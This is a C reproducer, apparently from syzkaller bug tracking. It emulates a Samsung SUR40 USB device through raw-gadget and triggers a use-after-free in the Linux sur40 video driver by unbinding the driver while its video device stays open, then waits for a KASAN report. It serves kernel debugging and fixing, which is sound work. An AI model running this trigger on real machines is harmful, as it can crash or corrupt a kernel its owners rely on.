// https://syzkaller.appspot.com/bug?id=bccfc8219614bc561dfa2654987f0440b8a4585c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <signal.h>
#include <pthread.h>
#include <endian.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/sysmacros.h>
#include <linux/usb/raw_gadget.h>
#include <linux/usb/ch9.h>

#define ID_MICROSOFT 0x045e
#define ID_SUR40     0x0775

struct full_config_desc {
    struct usb_config_descriptor config;
    struct usb_interface_descriptor iface;
    struct usb_endpoint_descriptor ep[5];
} __attribute__((packed));

static struct usb_device_descriptor dev_desc;
static struct full_config_desc full_config;

static volatile int running = 1;

static void dummy_sig_handler(int sig) {
    (void)sig;
}

static void setup_descriptors(void) {
    memset(&dev_desc, 0, sizeof(dev_desc));
    dev_desc.bLength = sizeof(dev_desc);
    dev_desc.bDescriptorType = USB_DT_DEVICE;
    dev_desc.bcdUSB = htole16(0x0200);
    dev_desc.bDeviceClass = 0;
    dev_desc.bDeviceSubClass = 0;
    dev_desc.bDeviceProtocol = 0;
    dev_desc.bMaxPacketSize0 = 64;
    dev_desc.idVendor = htole16(ID_MICROSOFT);
    dev_desc.idProduct = htole16(ID_SUR40);
    dev_desc.bcdDevice = htole16(0x0100);
    dev_desc.iManufacturer = 0;
    dev_desc.iProduct = 0;
    dev_desc.iSerialNumber = 0;
    dev_desc.bNumConfigurations = 1;

    memset(&full_config, 0, sizeof(full_config));
    full_config.config.bLength = sizeof(struct usb_config_descriptor);
    full_config.config.bDescriptorType = USB_DT_CONFIG;
    full_config.config.wTotalLength = htole16(sizeof(struct full_config_desc));
    full_config.config.bNumInterfaces = 1;
    full_config.config.bConfigurationValue = 1;
    full_config.config.iConfiguration = 0;
    full_config.config.bmAttributes = 0x80;
    full_config.config.bMaxPower = 50;

    full_config.iface.bLength = sizeof(struct usb_interface_descriptor);
    full_config.iface.bDescriptorType = USB_DT_INTERFACE;
    full_config.iface.bInterfaceNumber = 0;
    full_config.iface.bAlternateSetting = 0;
    full_config.iface.bNumEndpoints = 5;
    full_config.iface.bInterfaceClass = 0xff;
    full_config.iface.bInterfaceSubClass = 0xff;
    full_config.iface.bInterfaceProtocol = 0xff;
    full_config.iface.iInterface = 0;

    /* Endpoint 0: 0x81 IN bulk */
    full_config.ep[0].bLength = sizeof(struct usb_endpoint_descriptor);
    full_config.ep[0].bDescriptorType = USB_DT_ENDPOINT;
    full_config.ep[0].bEndpointAddress = 0x81;
    full_config.ep[0].bmAttributes = USB_ENDPOINT_XFER_BULK;
    full_config.ep[0].wMaxPacketSize = htole16(512);
    full_config.ep[0].bInterval = 0;

    /* Endpoint 1: 0x82 IN bulk (VIDEO_ENDPOINT) */
    full_config.ep[1].bLength = sizeof(struct usb_endpoint_descriptor);
    full_config.ep[1].bDescriptorType = USB_DT_ENDPOINT;
    full_config.ep[1].bEndpointAddress = 0x82;
    full_config.ep[1].bmAttributes = USB_ENDPOINT_XFER_BULK;
    full_config.ep[1].wMaxPacketSize = htole16(512);
    full_config.ep[1].bInterval = 0;

    /* Endpoint 2: 0x01 OUT bulk */
    full_config.ep[2].bLength = sizeof(struct usb_endpoint_descriptor);
    full_config.ep[2].bDescriptorType = USB_DT_ENDPOINT;
    full_config.ep[2].bEndpointAddress = 0x01;
    full_config.ep[2].bmAttributes = USB_ENDPOINT_XFER_BULK;
    full_config.ep[2].wMaxPacketSize = htole16(512);
    full_config.ep[2].bInterval = 0;

    /* Endpoint 3: 0x02 OUT bulk */
    full_config.ep[3].bLength = sizeof(struct usb_endpoint_descriptor);
    full_config.ep[3].bDescriptorType = USB_DT_ENDPOINT;
    full_config.ep[3].bEndpointAddress = 0x02;
    full_config.ep[3].bmAttributes = USB_ENDPOINT_XFER_BULK;
    full_config.ep[3].wMaxPacketSize = htole16(512);
    full_config.ep[3].bInterval = 0;

    /* Endpoint 4: 0x86 IN bulk (TOUCH_ENDPOINT required by sur40_probe) */
    full_config.ep[4].bLength = sizeof(struct usb_endpoint_descriptor);
    full_config.ep[4].bDescriptorType = USB_DT_ENDPOINT;
    full_config.ep[4].bEndpointAddress = 0x86;
    full_config.ep[4].bmAttributes = USB_ENDPOINT_XFER_BULK;
    full_config.ep[4].wMaxPacketSize = htole16(512);
    full_config.ep[4].bInterval = 0;
}

static void handle_control_request(int fd, struct usb_ctrlrequest *ctrl) {
    uint8_t req_type = ctrl->bRequestType;
    uint8_t req = ctrl->bRequest;
    uint16_t wValue = le16toh(ctrl->wValue);
    uint16_t wLength = le16toh(ctrl->wLength);

    if ((req_type & 0x60) == 0x00) { /* Standard request */
        if ((req_type & USB_DIR_IN) && req == USB_REQ_GET_DESCRIPTOR) {
            uint8_t desc_type = wValue >> 8;
            uint8_t desc_index = wValue & 0xff;
            if (desc_type == USB_DT_DEVICE) {
                struct {
                    struct usb_raw_ep_io io;
                    uint8_t data[sizeof(dev_desc)];
                } resp;
                memset(&resp, 0, sizeof(resp));
                resp.io.ep = 0;
                resp.io.flags = 0;
                uint16_t len = wLength < sizeof(dev_desc) ? wLength : sizeof(dev_desc);
                resp.io.length = len;
                memcpy(resp.data, &dev_desc, len);
                ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &resp);
                return;
            } else if (desc_type == USB_DT_CONFIG) {
                struct {
                    struct usb_raw_ep_io io;
                    uint8_t data[sizeof(full_config)];
                } resp;
                memset(&resp, 0, sizeof(resp));
                resp.io.ep = 0;
                resp.io.flags = 0;
                uint16_t len = wLength < sizeof(full_config) ? wLength : sizeof(full_config);
                resp.io.length = len;
                memcpy(resp.data, &full_config, len);
                ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &resp);
                return;
            } else if (desc_type == USB_DT_STRING && desc_index == 0) {
                struct {
                    struct usb_raw_ep_io io;
                    uint8_t data[4];
                } resp;
                memset(&resp, 0, sizeof(resp));
                resp.io.ep = 0;
                resp.io.flags = 0;
                resp.data[0] = 4;
                resp.data[1] = USB_DT_STRING;
                resp.data[2] = 0x09;
                resp.data[3] = 0x04;
                uint16_t len = wLength < 4 ? wLength : 4;
                resp.io.length = len;
                ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &resp);
                return;
            } else {
                ioctl(fd, USB_RAW_IOCTL_EP0_STALL, 0);
                return;
            }
        } else if (req == USB_REQ_SET_CONFIGURATION) {
            ioctl(fd, USB_RAW_IOCTL_CONFIGURE, 0);
            struct usb_raw_ep_io io;
            memset(&io, 0, sizeof(io));
            io.ep = 0;
            io.flags = 0;
            io.length = 0;
            ioctl(fd, USB_RAW_IOCTL_EP0_READ, &io);
            return;
        } else if (req == USB_REQ_SET_ADDRESS || req == USB_REQ_SET_INTERFACE) {
            struct usb_raw_ep_io io;
            memset(&io, 0, sizeof(io));
            io.ep = 0;
            io.flags = 0;
            io.length = 0;
            ioctl(fd, USB_RAW_IOCTL_EP0_READ, &io);
            return;
        }
    }

    /* Fallback for vendor requests (e.g. SUR40_POKE) and class requests */
    if ((req_type & USB_DIR_IN) && wLength > 0) {
        uint16_t len = wLength < 512 ? wLength : 512;
        struct {
            struct usb_raw_ep_io io;
            uint8_t data[512];
        } resp;
        memset(&resp, 0, sizeof(resp));
        resp.io.ep = 0;
        resp.io.flags = 0;
        resp.io.length = len;
        ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &resp);
    } else {
        uint16_t len = wLength < 512 ? wLength : 512;
        struct {
            struct usb_raw_ep_io io;
            uint8_t data[512];
        } req_io;
        memset(&req_io, 0, sizeof(req_io));
        req_io.io.ep = 0;
        req_io.io.flags = 0;
        req_io.io.length = len;
        ioctl(fd, USB_RAW_IOCTL_EP0_READ, &req_io);
    }
}

static void *ep0_loop(void *arg) {
    int fd = *(int *)arg;
    struct {
        struct usb_raw_event event;
        uint8_t data[256];
    } ev;

    while (running) {
        memset(&ev, 0, sizeof(ev));
        ev.event.type = 0;
        ev.event.length = sizeof(ev.data);

        int res = ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, &ev.event);
        if (res < 0) {
            if (errno == EINTR) {
                if (!running)
                    break;
                continue;
            }
            break;
        }

        if (ev.event.type == USB_RAW_EVENT_CONTROL) {
            struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)ev.event.data;
            handle_control_request(fd, ctrl);
        }
    }
    return NULL;
}

static int bind_raw_gadget(int *out_raw_fd, char *selected_udc, size_t selected_udc_size) {
    DIR *dir = opendir("/sys/class/udc");
    if (!dir) {
        printf("[-] Failed to opendir /sys/class/udc: %s\n", strerror(errno));
        return -1;
    }

    char udc_names[32][64];
    int num_udcs = 0;
    struct dirent *ent;
    while ((ent = readdir(dir)) != NULL) {
        if (ent->d_name[0] == '.')
            continue;
        if (num_udcs < 32) {
            strncpy(udc_names[num_udcs], ent->d_name, sizeof(udc_names[0]) - 1);
            num_udcs++;
        }
    }
    closedir(dir);

    for (int i = 0; i < num_udcs; i++) {
        int fd = open("/dev/raw-gadget", O_RDWR);
        if (fd < 0)
            continue;

        struct usb_raw_init init_arg;
        memset(&init_arg, 0, sizeof(init_arg));
        strncpy((char *)init_arg.driver_name, "dummy_udc", sizeof(init_arg.driver_name) - 1);
        strncpy((char *)init_arg.device_name, udc_names[i], sizeof(init_arg.device_name) - 1);
        init_arg.speed = USB_SPEED_HIGH;

        if (ioctl(fd, USB_RAW_IOCTL_INIT, &init_arg) < 0) {
            close(fd);
            continue;
        }

        if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
            close(fd);
            continue;
        }

        strncpy(selected_udc, udc_names[i], selected_udc_size - 1);
        *out_raw_fd = fd;
        return 0;
    }

    return -1;
}

static int find_sur40_v4l_device(char *out_v4l_name, size_t out_v4l_name_sz,
                                 int *out_major, int *out_minor,
                                 char *out_iface_name, size_t out_iface_sz) {
    DIR *dir = opendir("/sys/class/video4linux");
    if (!dir)
        return -1;

    struct dirent *ent;
    while ((ent = readdir(dir)) != NULL) {
        if (ent->d_name[0] == '.')
            continue;

        /* Check /sys/class/video4linux/<entry>/name */
        char name_path[512];
        snprintf(name_path, sizeof(name_path), "/sys/class/video4linux/%s/name", ent->d_name);
        FILE *f = fopen(name_path, "r");
        if (!f)
            continue;
        char name_buf[256] = {0};
        if (!fgets(name_buf, sizeof(name_buf), f)) {
            fclose(f);
            continue;
        }
        fclose(f);

        /* Check /sys/class/video4linux/<entry>/device/driver symlink */
        char driver_link[512];
        snprintf(driver_link, sizeof(driver_link), "/sys/class/video4linux/%s/device/driver", ent->d_name);
        char link_target[512] = {0};
        ssize_t link_len = readlink(driver_link, link_target, sizeof(link_target) - 1);

        bool is_sur40 = (strstr(name_buf, "Samsung SUR40") != NULL) ||
                        (strstr(name_buf, "SUR40") != NULL) ||
                        (strstr(name_buf, "sur40") != NULL) ||
                        (link_len > 0 && strstr(link_target, "sur40") != NULL);

        if (!is_sur40)
            continue;

        /* Read major:minor from /sys/class/video4linux/<entry>/dev */
        char dev_path[512];
        snprintf(dev_path, sizeof(dev_path), "/sys/class/video4linux/%s/dev", ent->d_name);
        FILE *dev_f = fopen(dev_path, "r");
        if (!dev_f)
            continue;
        int maj = 0, min = 0;
        if (fscanf(dev_f, "%d:%d", &maj, &min) != 2) {
            fclose(dev_f);
            continue;
        }
        fclose(dev_f);

        /* Obtain interface name from device symlink */
        char device_link[512];
        snprintf(device_link, sizeof(device_link), "/sys/class/video4linux/%s/device", ent->d_name);
        char iface_target[512] = {0};
        ssize_t iface_len = readlink(device_link, iface_target, sizeof(iface_target) - 1);
        if (iface_len > 0) {
            char *last_slash = strrchr(iface_target, '/');
            if (last_slash)
                strncpy(out_iface_name, last_slash + 1, out_iface_sz - 1);
            else
                strncpy(out_iface_name, iface_target, out_iface_sz - 1);
        }

        /* Fallback: inspect /sys/bus/usb/drivers/sur40 */
        if (out_iface_name[0] == '\0') {
            DIR *sdir = opendir("/sys/bus/usb/drivers/sur40");
            if (sdir) {
                struct dirent *sent;
                while ((sent = readdir(sdir)) != NULL) {
                    if (sent->d_name[0] == '.')
                        continue;
                    if (strcmp(sent->d_name, "bind") == 0 ||
                        strcmp(sent->d_name, "unbind") == 0 ||
                        strcmp(sent->d_name, "uevent") == 0 ||
                        strcmp(sent->d_name, "new_id") == 0 ||
                        strcmp(sent->d_name, "remove_id") == 0)
                        continue;
                    strncpy(out_iface_name, sent->d_name, out_iface_sz - 1);
                    break;
                }
                closedir(sdir);
            }
        }

        strncpy(out_v4l_name, ent->d_name, out_v4l_name_sz - 1);
        *out_major = maj;
        *out_minor = min;
        closedir(dir);
        return 0;
    }
    closedir(dir);
    return -1;
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);

    printf("[*] Setting up signal handler...\n");
    struct sigaction sa;
    memset(&sa, 0, sizeof(sa));
    sa.sa_handler = dummy_sig_handler;
    if (sigaction(SIGUSR1, &sa, NULL) < 0) {
        printf("[-] Failed to sigaction: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] sigaction successful.\n");

    setup_descriptors();

    printf("[*] Binding raw-gadget to dummy_udc...\n");
    int raw_fd = -1;
    char udc_name[64] = {0};
    if (bind_raw_gadget(&raw_fd, udc_name, sizeof(udc_name)) < 0) {
        printf("[-] Failed to bind raw-gadget to any UDC device.\n");
        exit(1);
    }
    printf("[+] raw-gadget bound to UDC '%s', raw_fd = %d.\n", udc_name, raw_fd);

    printf("[*] Starting EP0 handler thread...\n");
    pthread_t ep0_th;
    int res = pthread_create(&ep0_th, NULL, ep0_loop, &raw_fd);
    if (res != 0) {
        printf("[-] Failed to pthread_create: %s\n", strerror(res));
        exit(1);
    }
    printf("[+] EP0 handler thread started.\n");

    printf("[*] Waiting for sur40 to probe and register in /sys/class/video4linux/...\n");
    char v4l_name[128] = {0};
    char iface_name[128] = {0};
    int major = 0, minor = 0;
    int found = 0;
    for (int i = 0; i < 100; i++) { /* Up to 5 seconds */
        if (find_sur40_v4l_device(v4l_name, sizeof(v4l_name), &major, &minor,
                                  iface_name, sizeof(iface_name)) == 0) {
            found = 1;
            break;
        }
        usleep(50000); /* 50ms */
    }

    if (!found) {
        printf("[-] Timed out waiting for sur40 video device to register.\n");
        running = 0;
        pthread_kill(ep0_th, SIGUSR1);
        pthread_join(ep0_th, NULL);
        close(raw_fd);
        exit(1);
    }
    printf("[+] Found sur40 device: %s (major: %d, minor: %d, iface: %s)\n",
           v4l_name, major, minor, iface_name);

    char dev_node[256];
    snprintf(dev_node, sizeof(dev_node), "/dev/%s_sur40", v4l_name);
    unlink(dev_node);
    if (mknod(dev_node, S_IFCHR | 0666, makedev(major, minor)) < 0) {
        printf("[-] mknod at %s failed: %s, trying local directory...\n", dev_node, strerror(errno));
        snprintf(dev_node, sizeof(dev_node), "./%s_sur40", v4l_name);
        unlink(dev_node);
        if (mknod(dev_node, S_IFCHR | 0666, makedev(major, minor)) < 0) {
            printf("[-] Failed to mknod %s: %s\n", dev_node, strerror(errno));
            running = 0;
            pthread_kill(ep0_th, SIGUSR1);
            pthread_join(ep0_th, NULL);
            close(raw_fd);
            exit(1);
        }
    }
    printf("[+] Created character device node: %s\n", dev_node);

    printf("[*] Opening %s...\n", dev_node);
    int vfd = open(dev_node, O_RDWR | O_NONBLOCK);
    if (vfd < 0) {
        printf("[-] Failed to open %s: %s\n", dev_node, strerror(errno));
        running = 0;
        pthread_kill(ep0_th, SIGUSR1);
        pthread_join(ep0_th, NULL);
        close(raw_fd);
        exit(1);
    }
    printf("[+] Successfully opened %s, vfd = %d.\n", dev_node, vfd);

    /* Disconnect / unbind sur40 driver while vfd remains open */
    if (iface_name[0] != '\0') {
        printf("[*] Unbinding interface '%s' from sur40 driver...\n", iface_name);
        int unbind_fd = open("/sys/bus/usb/drivers/sur40/unbind", O_WRONLY);
        if (unbind_fd >= 0) {
            ssize_t w = write(unbind_fd, iface_name, strlen(iface_name));
            if (w < 0)
                printf("[-] write to unbind failed: %s\n", strerror(errno));
            else
                printf("[+] Wrote '%s' to /sys/bus/usb/drivers/sur40/unbind.\n", iface_name);
            close(unbind_fd);
        } else {
            printf("[-] Failed to open /sys/bus/usb/drivers/sur40/unbind: %s\n", strerror(errno));
        }
    }

    printf("[*] Stopping EP0 loop thread and closing /dev/raw-gadget...\n");
    running = 0;
    pthread_kill(ep0_th, SIGUSR1);
    pthread_join(ep0_th, NULL);

    res = close(raw_fd);
    if (res < 0) {
        printf("[-] Failed to close /dev/raw-gadget: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] /dev/raw-gadget closed successfully.\n");

    /* Wait for device to be unregistered from sysfs by sur40_disconnect */
    char sysfs_check_path[512];
    snprintf(sysfs_check_path, sizeof(sysfs_check_path), "/sys/class/video4linux/%s", v4l_name);
    printf("[*] Waiting for %s to be unregistered...\n", sysfs_check_path);
    for (int i = 0; i < 40; i++) {
        if (access(sysfs_check_path, F_OK) != 0) {
            printf("[+] Device %s unregistered successfully!\n", v4l_name);
            break;
        }
        usleep(50000); /* 50ms */
    }
    usleep(100000); /* Extra 100ms for kfree(sur40) completion */

    printf("[*] Closing vfd (%d) to trigger UAF in vb2_core_queue_release()...\n", vfd);
    res = close(vfd);
    if (res < 0) {
        printf("[-] Failed to close vfd: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] vfd closed successfully.\n");

    printf("[*] Waiting 500ms for KASAN report to flush...\n");
    usleep(500000);

    unlink(dev_node);
    printf("[+] Done.\n");
    return 0;
}